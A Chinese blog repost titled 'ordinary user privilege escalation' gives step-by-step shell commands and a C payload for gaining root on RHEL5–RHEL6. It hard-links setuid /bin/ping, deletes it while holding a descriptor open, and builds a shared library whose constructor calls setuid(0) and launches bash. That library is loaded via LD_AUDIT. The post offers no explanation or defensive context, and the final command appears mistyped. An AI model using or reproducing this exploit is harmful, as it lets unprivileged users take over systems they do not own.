首页 > 其他 > 详细

普通用户提权

时间:2017-03-30 20:02:49      阅读:344      评论:0      收藏:0      [点我收藏+]

说明:RHEL5—RHEL6下  都可以提权


1. ls -ld /tmp/

 技术分享


2. ls -l /bin/ping

 技术分享


3. mkdir /tmp/exploit ; ln /bin/ping /tmp/exploit/target

 技术分享


4. exec 3< /tmp/exploit/target ;  rm -rf /tmp/exploit/ ; ls -l /proc/$$/fd/3


 技术分享


 技术分享 


5. vim payload.c

   void __attribute__((constructor)) init()

   {

    setuid(0);

    system("/bin/bash");

   }


 技术分享

 

6. gcc -w -fPIC -shared -o /tmp/exploit payload.c ; ls -l /tmp/exploit

 技术分享



7. LD_AUDIT="\0RIGIN" exec /proc/self/fd/3

 技术分享



本文出自 “一马踏平川” 博客,请务必保留此出处http://huangzp.blog.51cto.com/12434999/1911772

普通用户提权

原文:http://huangzp.blog.51cto.com/12434999/1911772

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!